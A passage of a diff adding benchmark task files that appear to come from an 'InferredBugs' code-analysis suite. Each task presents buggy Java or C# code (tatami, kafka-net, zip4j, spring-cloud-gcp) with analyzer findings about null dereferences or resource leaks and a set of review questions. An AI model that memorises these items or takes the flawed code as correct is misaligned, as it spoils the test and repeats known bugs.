+                            "group ID = " + status.getGroupId());
+                }
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            } else if (group.isArchivedGroup()) {
+                if (log.isInfoEnabled()) {
+                    log.info("Archived group! User " + currentUser.getLogin() + " tried to post a message to archived " +
+                            "group ID = " + status.getGroupId());
+                }
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            } else {
+                statusUpdateService.postStatusToGroup(escapedContent, group, attachmentIds);
+            }
+        }
+    }
+
+    /**
+     * POST /statuses/discussion/:id -> reply to this Status
+     */
+    @RequestMapping(value = "/rest/statuses/discussion",
+            method = RequestMethod.POST)
+    public void replyToStatus(@RequestBody Reply reply, HttpServletResponse response) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to reply to status : " + reply);
+        }
+        String escapedContent = StringEscapeUtils.escapeHtml(reply.getContent());
+        try {
+            statusUpdateService.replyToStatus(escapedContent, reply.getStatusId());
+        } catch (ArchivedGroupException age) {
+            if (log.isInfoEnabled()) {
+                log.info("The user tried to reply to a message in an archived group");
+            }
+            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+        } catch (ReplyStatusException rse) {
+            if (log.isInfoEnabled()) {
+                log.info("Original status ID " + reply.getStatusId() + " does not exist.");
+            }
+            response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+        }
+    }
+
+    /**
+     * POST /statuses/destroy/:id -> delete Status
+     */
+    @RequestMapping(value = "/rest/statuses/destroy/{statusId}",
+            method = RequestMethod.POST)
+    @ResponseBody
+    public void removeStatus(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to remove status : " + statusId);
+        }
+        timelineService.removeStatus(statusId);
+    }
+
+    /**
+     * GET  /statuses/show/:id -> returns a single status, specified by the id parameter
+     */
+    @RequestMapping(value = "/rest/statuses/show/{statusId}",
+            method = RequestMethod.GET,
+            produces = "application/json")
+    @ResponseBody
+    public StatusDTO getStatus(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to get status Id : " + statusId);
+        }
+        return timelineService.getStatus(statusId);
+    }
+
+    /**
+     * GET  /statuses/details/:id -> returns the details for a status, specified by the id parameter
+     */
+    @RequestMapping(value = "/rest/statuses/details/{statusId}",
+            method = RequestMethod.GET,
+            produces = "application/json")
+    @ResponseBody
+    public StatusDetails getStatusDetails(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to get status details Id : " + statusId);
+        }
+        return timelineService.getStatusDetails(statusId);
+    }
+
+    /**
+     * POST /statuses/share/:id -> Shares the status
+     */
+    @RequestMapping(value = "/rest/statuses/share/{statusId}",
+            method = RequestMethod.POST)
+    @ResponseBody
+    public void shareStatus(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to share status : " + statusId);
+        }
+        timelineService.shareStatus(statusId);
+    }
+
+    /**
+     * GET  /statuses/home_timeline -> get the latest statuses from the current user
+     */
+    @RequestMapping(value = "/rest/statuses/home_timeline",
+            method = RequestMethod.GET,
+            produces = "application/json")
+    @ResponseBody
+    @Timed
+    public Collection<StatusDTO> listStatus(@RequestParam(required = false) Integer count,
+                                            @RequestParam(required = false) String since_id,
+                                            @RequestParam(required = false) String max_id) {
+        if (count == null || count == 0) {
+            count = 20; //Default value
+        }
+        try {
+            return timelineService.getTimeline(count, since_id, max_id);
+        } catch (Exception e) {
+            if (log.isDebugEnabled()) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    /**
+     * GET  /statuses/user_timeline?screen_name=jdubois -> get the latest statuses from user "jdubois"
+     */
+    @RequestMapping(value = "/rest/statuses/{username}/timeline",
+            method = RequestMethod.GET,
+            produces = "application/json")
+    @ResponseBody
+    public Collection<StatusDTO> listStatusForUser(@PathVariable("username") String username,
+                                                   @RequestParam(required = false) Integer count,
+                                                   @RequestParam(required = false) String since_id,
+                                                   @RequestParam(required = false) String max_id) {
+
+        if (count == null || count == 0) {
+            count = 20; //Default value
+        }
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to get someone's status (username=" + username + ").");
+        }
+        return timelineService.getUserline(username, count, since_id, max_id);
+    }
+
+
+    @RequestMapping(value = "/rest/statuses/{statusId}",
+            method = RequestMethod.GET,
+            produces = "application/json")
+    @ResponseBody
+    public StatusDTO getStatusV3(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to get status Id : " + statusId);
+        }
+        return timelineService.getStatus(statusId);
+    }
+
+
+    @RequestMapping(value = "/rest/statuses/{statusId}",
+            method = RequestMethod.DELETE)
+    public void deleteStatusV3(@PathVariable("statusId") String statusId) {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to get status Id : " + statusId);
+        }
+        timelineService.removeStatus(statusId);
+    }
+
+    @RequestMapping(value = "/rest/statuses/{statusId}",
+            method = RequestMethod.PATCH)
+    @ResponseBody
+    public StatusDTO updateStatusV3(@RequestBody ActionStatus action, @PathVariable("statusId") String statusId) {
+        try {
+            StatusDTO status = timelineService.getStatus(statusId);
+            if(action.isFavorite() != null && status.isFavorite() != action.isFavorite()){
+                if(action.isFavorite()){
+                    timelineService.addFavoriteStatus(statusId);
+                }
+                else {
+                    timelineService.removeFavoriteStatus(statusId);
+                }
+                status.setFavorite(action.isFavorite());
+            }
+            if(action.isShared() != null && action.isShared()){
+                timelineService.shareStatus(statusId);
+            }
+            return status;
+        } catch (Exception e) {
+            if (log.isDebugEnabled()) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+
+    /**
+     * POST /statuses/update -> create a new Status
+     */
+    @RequestMapping(value = "/rest/statuses/",
+            method = RequestMethod.POST,
+            produces = "application/json")
+    @Timed
+    public String postStatusV3(@RequestBody StatusDTO status, HttpServletResponse response) throws ArchivedGroupException, ReplyStatusException {
+        if (log.isDebugEnabled()) {
+            log.debug("REST request to add status : " + status.getContent());
+        }
+        String escapedContent = StringEscapeUtils.escapeHtml(status.getContent());
+        Collection<String> attachmentIds = status.getAttachmentIds();
+
+        if (status.getReplyTo() != null && !status.getReplyTo().isEmpty()) {
+            if (log.isDebugEnabled()) {
+                log.debug("Creating a reply to : " + status.getReplyTo());
+            }
+            statusUpdateService.replyToStatus(escapedContent, status.getReplyTo());
+        }
+        else if(status.isStatusPrivate() || status.getGroupId() == null || status.getGroupId().equals("")) {
+            if (log.isDebugEnabled()) {
+                log.debug("Private status");
+            }
+            statusUpdateService.postStatus(escapedContent, status.isStatusPrivate(), attachmentIds);
+        } else {
+            User currentUser = authenticationService.getCurrentUser();
+            Collection<Group> groups = groupService.getGroupsForUser(currentUser);
+            Group group = null;
+            for (Group testGroup : groups) {
+                if (testGroup.getGroupId().equals(status.getGroupId())) {
+                    group = testGroup;
+                    break;
+                }
+            }
+            if (group == null) {
+                if (log.isInfoEnabled()) {
+                    log.info("Permission denied! User " + currentUser.getLogin() + " tried to access " +
+                            "group ID = " + status.getGroupId());
+                }
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            } else if (group.isArchivedGroup()) {
+                if (log.isInfoEnabled()) {
+                    log.info("Archived group! User " + currentUser.getLogin() + " tried to post a message to archived " +
+                            "group ID = " + status.getGroupId());
+                }
+                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+            } else {
+                statusUpdateService.postStatusToGroup(escapedContent, group, attachmentIds);
+            }
+        }
+        return "{}";
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `status` last assigned on line 244 could be null and is dereferenced at line 245.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StatusDTO TimelineController.updateStatusV3(ActionStatus,String)
+
+### Procedure Id:
+fr.ippon.tatami.web.rest.TimelineController.updateStatusV3(fr.ippon.tatami.web.rest.dto.ActionStatus.bc3f6af88f6decd4007d48b89d714847
+
+### File:
+src/main/java/fr/ippon/tatami/web/rest/TimelineController.java
+
+### Key:
+TimelineController.java|updateStatusV3|NULL_DEREFERENCE
+
+### Node Key:
+28fa175b8bbfed150fdcc2c7ec48c11e
+
+### Hash:
+1920fc106c6e78495eebe56c4b094587
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1029/instruction.md b/inferredbugs-1029/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..29e835fb42575be6bd3419bc67b1db4fd3e9d222
--- /dev/null
+++ b/inferredbugs-1029/instruction.md
@@ -0,0 +1,163 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** kafka-net
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using KafkaNet;
+using KafkaNet.Model;
+
+namespace TestHarness
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            
+            var client = new KafkaClient(new Uri("http://CSDKAFKA01:9092"));
+            SendMessageTest(client);
+        }
+
+        private static void SendOffsetCommitRequest(KafkaClient client)
+        {
+            var request = new OffsetCommitRequest()
+            {
+                CorrelationId = 1,
+                ConsumerGroup = "TestHarnessGroup",
+                OffsetCommits = new List<OffsetCommit>(new[]{
+                    new OffsetCommit{
+                        Topic = "TestHarness",
+                        PartitionId = 0,
+                        Offset = 6,
+                        Metadata = "Test metadata"
+                    }
+                })
+            };
+
+            var result = client.SendAsync(request).Result;
+        }
+
+        private static void SendOffsetRequest(KafkaClient client)
+        {
+            var request = new OffsetRequest
+            {
+                CorrelationId = 1,
+                Offsets = new List<Offset>(new[]
+                        {
+                            new Offset
+                                {
+                                    Topic = "TestHarness",
+                                    PartitionId = 0,
+                                    MaxOffsets = 1,
+                                    Time = -1
+                                }
+                        })
+            };
+
+            var result = client.SendAsync(request).Result;
+        }
+
+        private static void SendFetchRequest(KafkaClient client)
+        {
+            var request = new FetchRequest
+            {
+                CorrelationId = 1,
+                Fetches = new List<Fetch>(new[]
+                        {
+                            new Fetch
+                                {
+                                    Topic = "TestHarness",
+                                    PartitionId = 0,
+                                    Offset = 0
+                                }
+                        })
+            };
+
+            var result = client.SendAsync(request).Result;
+        }
+
+        private static void SendMetadataRequest(KafkaClient client)
+        {
+            var request = new MetadataRequest
+            {
+                CorrelationId = 1
+            };
+
+            var result = client.SendAsync(request).Result;
+        }
+
+        private static void SendMessageTest(KafkaClient client)
+        {
+            var request = new ProduceRequest
+                {
+                    ClientId = "kafka-python",
+                    CorrelationId = 1,
+                    Payload = new List<Payload>(new[]
+                        {
+                            new Payload
+                                {
+                                    Topic = "TestHarness",
+                                    Messages = new List<Message>(new[] {new Message {Value = "Test Message"}})
+                                }
+                        })
+                };
+
+            var result = client.SendAsync(request).Result;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource client.KafkaNet.KafkaClient._conn of type KafkaNet.KafkaConnection in method "Void Program.Main(String[])".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Program.Main(String[])
+
+### File:
+TestHarness/Program.cs
+
+### Key:
+Program.cs|Main|DOTNET_RESOURCE_LEAK
+
+### Hash:
+89936ab11404f1e4af35ff2b175e342d
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10363/instruction.md b/inferredbugs-10363/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f688197ef27c7c53bd9366e5f3241845413b86b3
--- /dev/null
+++ b/inferredbugs-10363/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zip4j
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.lingala.zip4j.tasks;
+
+import lombok.AllArgsConstructor;
+import net.lingala.zip4j.exception.ZipException;
+import net.lingala.zip4j.io.inputstream.SplitInputStream;
+import net.lingala.zip4j.io.inputstream.ZipInputStream;
+import net.lingala.zip4j.model.FileHeader;
+import net.lingala.zip4j.model.ZipModel;
+import net.lingala.zip4j.progress.ProgressMonitor;
+import net.lingala.zip4j.tasks.ExtractAllFilesTask.ExtractAllFilesTaskParameters;
+
+import java.io.IOException;
+
+public class ExtractAllFilesTask extends AbstractExtractFileTask<ExtractAllFilesTaskParameters> {
+
+  private char[] password;
+
+  public ExtractAllFilesTask(ProgressMonitor progressMonitor, boolean runInThread, ZipModel zipModel, char[] password) {
+    super(progressMonitor, runInThread, zipModel);
+    this.password = password;
+  }
+
+  @Override
+  protected void executeTask(ExtractAllFilesTaskParameters taskParameters, ProgressMonitor progressMonitor)
+      throws ZipException {
+    try (ZipInputStream zipInputStream = prepareZipInputStream()) {
+      for (FileHeader fileHeader : getZipModel().getCentralDirectory().getFileHeaders()) {
+        if (fileHeader.getFileName().startsWith("__MACOSX")) {
+          progressMonitor.updateWorkCompleted(fileHeader.getUncompressedSize());
+          continue;
+        }
+
+        extractFile(zipInputStream, fileHeader, taskParameters.outputPath, null, progressMonitor);
+        verifyIfTaskIsCancelled();
+      }
+    } catch (IOException e) {
+      throw new ZipException(e);
+    }
+
+  }
+
+  @Override
+  protected long calculateTotalWork(ExtractAllFilesTaskParameters taskParameters) {
+    long totalWork = 0;
+
+    for (FileHeader fileHeader : getZipModel().getCentralDirectory().getFileHeaders()) {
+      if (fileHeader.getZip64ExtendedInfo() != null &&
+          fileHeader.getZip64ExtendedInfo().getUncompressedSize() > 0) {
+        totalWork += fileHeader.getZip64ExtendedInfo().getCompressedSize();
+      } else {
+        totalWork += fileHeader.getCompressedSize();
+      }
+    }
+
+    return totalWork;
+  }
+
+  private ZipInputStream prepareZipInputStream() throws ZipException {
+    try {
+      SplitInputStream splitInputStream = new SplitInputStream(getZipModel().getZipFile(),
+          getZipModel().isSplitArchive(), getZipModel().getEndOfCentralDirectoryRecord().getNumberOfThisDisk());
+
+      FileHeader fileHeader = getFirstFileHeader(getZipModel());
+      if (fileHeader != null) {
+        splitInputStream.prepareExtractionForFileHeader(fileHeader);
+      }
+
+      return new ZipInputStream(splitInputStream, password);
+    } catch (IOException e) {
+      throw new ZipException(e);
+    }
+  }
+
+  private FileHeader getFirstFileHeader(ZipModel zipModel) {
+    if (zipModel.getCentralDirectory() == null
+        || zipModel.getCentralDirectory().getFileHeaders() == null
+        || zipModel.getCentralDirectory().getFileHeaders().size() == 0) {
+      return null;
+    }
+
+    return zipModel.getCentralDirectory().getFileHeaders().get(0);
+  }
+
+  @AllArgsConstructor
+  public static class ExtractAllFilesTaskParameters {
+    private String outputPath;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.RandomAccessFile` acquired by call to `prepareExtractionForFileHeader(...)` at line 65 is not released after line 69.
+**Note**: potential exception at line 65
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ZipInputStream ExtractAllFilesTask.prepareZipInputStream()
+
+### Procedure Id:
+net.lingala.zip4j.tasks.ExtractAllFilesTask.prepareZipInputStream():net.lingala.zip4j.io.inputstream.b0be280a1bb70b8f5b68e06c10d28163
+
+### File:
+src/main/java/net/lingala/zip4j/tasks/ExtractAllFilesTask.java
+
+### Key:
+ExtractAllFilesTask.java|prepareZipInputStream|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+7b5446eee66c9097e2b78516857b8cc5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10390/instruction.md b/inferredbugs-10390/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..174d18bc6c1f4592037c90523b99b5962899a652
--- /dev/null
+++ b/inferredbugs-10390/instruction.md
@@ -0,0 +1,507 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spring-cloud-gcp
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2019-2019 the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.springframework.cloud.gcp.data.firestore;
+
+import java.time.Duration;
+import java.util.List;
+import java.util.Optional;
+import java.util.function.Consumer;
+
+import com.google.firestore.v1.Document;
+import com.google.firestore.v1.DocumentMask;
+import com.google.firestore.v1.FirestoreGrpc.FirestoreStub;
+import com.google.firestore.v1.GetDocumentRequest;
+import com.google.firestore.v1.RunQueryRequest;
+import com.google.firestore.v1.RunQueryResponse;
+import com.google.firestore.v1.StructuredQuery;
+import com.google.firestore.v1.Write;
+import com.google.firestore.v1.WriteRequest;
+import com.google.firestore.v1.WriteResponse;
+import io.grpc.stub.StreamObserver;
+import org.reactivestreams.Publisher;
+import reactor.core.publisher.Flux;
+import reactor.core.publisher.Mono;
+import reactor.util.context.Context;
+
+import org.springframework.cloud.gcp.data.firestore.mapping.FirestoreClassMapper;
+import org.springframework.cloud.gcp.data.firestore.mapping.FirestoreMappingContext;
+import org.springframework.cloud.gcp.data.firestore.mapping.FirestorePersistentEntity;
+import org.springframework.cloud.gcp.data.firestore.mapping.FirestorePersistentProperty;
+import org.springframework.cloud.gcp.data.firestore.transaction.ReactiveFirestoreResourceHolder;
+import org.springframework.cloud.gcp.data.firestore.util.ObservableReactiveUtil;
+import org.springframework.cloud.gcp.data.firestore.util.Util;
+import org.springframework.transaction.reactive.TransactionContext;
+import org.springframework.util.Assert;
+
+/**
+ * An implementation of {@link FirestoreReactiveOperations}.
+ *
+ * @author Dmitry Solomakha
+ * @author Chengyuan Zhao
+ * @author Mike Eltsufin
+ * @since 1.2
+ */
+public class FirestoreTemplate implements FirestoreReactiveOperations {
+	private FirestoreClassMapper classMapper;
+
+	private static final int FIRESTORE_WRITE_MAX_SIZE = 500;
+
+	private static final String NAME_FIELD = "__name__";
+
+	private static final StructuredQuery.Projection ID_PROJECTION = StructuredQuery.Projection.newBuilder()
+			.addFields(StructuredQuery.FieldReference.newBuilder().setFieldPath(NAME_FIELD).build())
+			.build();
+
+	private static final DocumentMask NAME_ONLY_MASK = DocumentMask.newBuilder().addFieldPaths(NAME_FIELD).build();
+
+	private static final String NOT_FOUND_DOCUMENT_MESSAGE = "NOT_FOUND: Document";
+
+	private final FirestoreStub firestore;
+
+	private final String parent;
+
+	private final String databasePath;
+
+	private final FirestoreMappingContext mappingContext;
+
+	private Duration writeBufferTimeout = Duration.ofMillis(500);
+
+	private int writeBufferSize = FIRESTORE_WRITE_MAX_SIZE;
+
+	private boolean usingStreamTokens = true;
+
+	/**
+	 * Constructor for FirestoreTemplate.
+	 * @param firestore Firestore gRPC stub
+	 * @param parent the parent resource. For example:
+	 *     projects/{project_id}/databases/{database_id}/documents
+	 * @param classMapper a {@link FirestoreClassMapper} used for conversion
+	 * @param mappingContext Mapping Context
+	 */
+	public FirestoreTemplate(FirestoreStub firestore, String parent, FirestoreClassMapper classMapper,
+			FirestoreMappingContext mappingContext) {
+		this.firestore = firestore;
+		this.parent = parent;
+		this.databasePath = Util.extractDatabasePath(parent);
+		this.classMapper = classMapper;
+		this.mappingContext = mappingContext;
+	}
+
+	@Override
+	public <T> FirestoreReactiveOperations withParent(T parent) {
+		FirestoreTemplate firestoreTemplate =
+						new FirestoreTemplate(this.firestore, buildResourceName(parent), this.classMapper, this.mappingContext);
+		firestoreTemplate.setUsingStreamTokens(this.usingStreamTokens);
+		firestoreTemplate.setWriteBufferSize(this.writeBufferSize);
+		firestoreTemplate.setWriteBufferTimeout(this.writeBufferTimeout);
+
+		return firestoreTemplate;
+	}
+
+	/**
+	 * Sets the {@link Duration} for how long to wait for the entity buffer to fill before sending
+	 * the buffered entities to Firestore for insert/update/delete operations.
+	 * @param bufferTimeout duration to wait for entity buffer to fill before sending to Firestore.
+	 * 		(default = 500ms)
+	 */
+	public void setWriteBufferTimeout(Duration bufferTimeout) {
+		this.writeBufferTimeout = bufferTimeout;
+	}
+
+	public Duration getWriteBufferTimeout() {
+		return this.writeBufferTimeout;
+	}
+
+	/**
+	 * Sets how many entities to include in an insert/update/delete buffered operation.
+	 * <p>The maximum buffer size is 500. In most cases users should leave this at the maximum value.
+	 * @param bufferWriteSize the entity buffer size for buffered operations (default = 500)
+	 */
+	public void setWriteBufferSize(int bufferWriteSize) {
+		Assert.isTrue(
+				bufferWriteSize <= FIRESTORE_WRITE_MAX_SIZE,
+				"The FirestoreTemplate buffer write size must be less than " + FIRESTORE_WRITE_MAX_SIZE);
+		this.writeBufferSize = bufferWriteSize;
+	}
+
+	public int getWriteBufferSize() {
+		return this.writeBufferSize;
+	}
+
+	/**
+	 * Sets whether the {@link FirestoreTemplate} should attach stream resume tokens to write
+	 * requests.
+	 *
+	 * <p>Note that this should always be set to true unless you are using the
+	 * Firestore emulator in which case it should be set to false because the emulator
+	 * does not support using resume tokens.
+	 *
+	 * @param usingStreamTokens whether the template should use stream tokens
+   * @since 1.2.3
+	 */
+	public void setUsingStreamTokens(boolean usingStreamTokens) {
+		this.usingStreamTokens = usingStreamTokens;
+	}
+
+	public boolean isUsingStreamTokens() {
+		return usingStreamTokens;
+	}
+
+	@Override
+	public <T> Mono<Boolean> existsById(Publisher<String> idPublisher, Class<T> entityClass) {
+		return Flux.from(idPublisher).next()
+				.flatMap(id -> getDocument(id, entityClass, NAME_ONLY_MASK))
+				.map(d -> true)
+				.switchIfEmpty(Mono.just(false))
+				.onErrorMap(
+						throwable -> new FirestoreDataException("Unable to determine if document exists", throwable));
+	}
+
+	@Override
+	public <T> Mono<T> findById(Publisher<String> idPublisher, Class<T> entityClass) {
+		return findAllById(idPublisher, entityClass).next();
+	}
+
+	@Override
+	public <T> Flux<T> findAllById(Publisher<String> idPublisher, Class<T> entityClass) {
+		return Flux.from(idPublisher)
+				.flatMap(id -> getDocument(id, entityClass, null))
+				.onErrorMap(throwable -> new FirestoreDataException("Error while reading entries by id", throwable))
+				.map(document -> getClassMapper().documentToEntity(document, entityClass));
+	}
+
+	@Override
+	public <T> Mono<T> save(T entity) {
+		return saveAll(Mono.just(entity)).next();
+	}
+
+	/**
+	 * {@inheritDoc}
+	 *
+	 * <p>The buffer size and buffer timeout settings for {@link #saveAll} can be modified by calling
+	 * {@link #setWriteBufferSize} and {@link #setWriteBufferTimeout}.
+	 */
+	@Override
+	public <T> Flux<T> saveAll(Publisher<T> instances) {
+		return Mono.subscriberContext().flatMapMany(ctx -> {
+			Optional<TransactionContext> transactionContext = ctx.getOrEmpty(TransactionContext.class);
+			if (transactionContext.isPresent()) {
+				ReactiveFirestoreResourceHolder holder = (ReactiveFirestoreResourceHolder) transactionContext.get()
+						.getResources().get(this.firestore);
+				List<Write> writes = holder.getWrites();
+				//In a transaction, all write operations should be sent in the commit request, so we just collect them
+				return Flux.from(instances).doOnNext(t -> writes.add(createUpdateWrite(t)));
+			}
+
+			Flux<List<T>> inputs = Flux.from(instances).bufferTimeout(this.writeBufferSize, this.writeBufferTimeout);
+			return ObservableReactiveUtil.streamingBidirectionalCall(
+					this::openWriteStream, inputs, this::buildWriteRequest);
+		});
+	}
+
+	@Override
+	public <T> Flux<T> findAll(Class<T> clazz) {
+		return Flux.defer(() ->
+				findAllDocuments(clazz)
+						.map(document -> getClassMapper().documentToEntity(document, clazz)));
+	}
+
+	@Override
+	public <T> Mono<Long> count(Class<T> entityClass) {
+		return count(entityClass, null);
+	}
+
+	@Override
+	public <T> Mono<Long> count(Class<T> entityClass, StructuredQuery.Builder queryBuilder) {
+		return findAllDocuments(entityClass, ID_PROJECTION, queryBuilder).count();
+	}
+
+	/**
+	 * {@inheritDoc}
+	 *
+	 * <p>The buffer size and buffer timeout settings for {@link #saveAll} can be modified by calling
+	 * {@link #setWriteBufferSize} and {@link #setWriteBufferTimeout}.
+	 */
+	@Override
+	public <T> Mono<Long> deleteAll(Class<T> clazz) {
+		return deleteDocumentsByName(findAllDocuments(clazz).map(Document::getName)).count();
+	}
+
+	/**
+	 * {@inheritDoc}
+	 *
+	 * <p>The buffer size and buffer timeout settings for {@link #saveAll} can be modified by calling
+	 * {@link #setWriteBufferSize} and {@link #setWriteBufferTimeout}.
+	 */
+	@Override
+	public <T> Mono<Void> delete(Publisher<T> entityPublisher) {
+		return deleteDocumentsByName(Flux.from(entityPublisher).map(this::buildResourceName)).then();
+	}
+
+	/**
+	 * {@inheritDoc}
+	 *
+	 * <p>The buffer size and buffer timeout settings for {@link #saveAll} can be modified by calling
+	 * {@link #setWriteBufferSize} and {@link #setWriteBufferTimeout}.
+	 */
+	@Override
+	public <T> Mono<Void> deleteById(Publisher<String> idPublisher, Class entityClass) {
+		return Mono.defer(() -> {
+			FirestorePersistentEntity<?> persistentEntity =
+					this.mappingContext.getPersistentEntity(entityClass);
+			return deleteDocumentsByName(
+					Flux.from(idPublisher).map(id -> buildResourceName(persistentEntity, id))).then();
+		});
+	}
+
+	@Override
+	public <T> Flux<T> execute(StructuredQuery.Builder builder, Class<T> entityType) {
+		return Flux.defer(() ->
+				findAllDocuments(entityType, null, builder)
+				.map(document -> getClassMapper().documentToEntity(document, entityType)));
+	}
+
+	public FirestoreMappingContext getMappingContext() {
+		return this.mappingContext;
+	}
+
+	private Flux<String> deleteDocumentsByName(Flux<String> documentNames) {
+		return Mono.subscriberContext().flatMapMany(ctx -> {
+			Optional<TransactionContext> transactionContext = ctx.getOrEmpty(TransactionContext.class);
+			if (transactionContext.isPresent()) {
+				ReactiveFirestoreResourceHolder holder = (ReactiveFirestoreResourceHolder) transactionContext.get()
+						.getResources().get(this.firestore);
+				List<Write> writes = holder.getWrites();
+				//In a transaction, all write operations should be sent in the commit request, so we just collect them
+				return Flux.from(documentNames).doOnNext(t -> writes.add(createDeleteWrite(t)));
+			}
+			return ObservableReactiveUtil.streamingBidirectionalCall(
+					this::openWriteStream,
+					documentNames.bufferTimeout(this.writeBufferSize, this.writeBufferTimeout),
+					this::buildDeleteRequest);
+		});
+	}
+
+	// Visible for Testing
+	WriteRequest buildDeleteRequest(
+			List<String> documentIds, WriteResponse writeResponse) {
+
+		WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder();
+
+		if (isUsingStreamTokens()) {
+			writeRequestBuilder
+					.setStreamId(writeResponse.getStreamId())
+					.setStreamToken(writeResponse.getStreamToken());
+		}
+
+		documentIds.stream().map(this::createDeleteWrite).forEach(writeRequestBuilder::addWrites);
+
+		return writeRequestBuilder.build();
+	}
+
+	private Write createDeleteWrite(String documentId) {
+		return Write.newBuilder().setDelete(documentId).build();
+	}
+
+	private <T> Flux<Document> findAllDocuments(Class<T> clazz) {
+		return findAllDocuments(clazz, null, null);
+	}
+
+	private <T> Flux<Document> findAllDocuments(Class<T> clazz, StructuredQuery.Projection projection,
+			StructuredQuery.Builder queryBuilder) {
+		return Mono.subscriberContext().flatMapMany(ctx -> {
+			FirestorePersistentEntity<?> persistentEntity = this.mappingContext.getPersistentEntity(clazz);
+
+			StructuredQuery.Builder builder = queryBuilder != null ? queryBuilder : StructuredQuery.newBuilder();
+			builder.addFrom(StructuredQuery.CollectionSelector.newBuilder()
+					.setCollectionId(persistentEntity.collectionName()).build());
+			if (projection != null) {
+				builder.setSelect(projection);
+			}
+			RunQueryRequest.Builder buider = RunQueryRequest.newBuilder()
+					.setParent(this.parent)
+					.setStructuredQuery(builder.build());
+
+			doIfTransaction(ctx, resourceHolder -> buider.setTransaction(resourceHolder.getTransactionId()));
+
+			return ObservableReactiveUtil
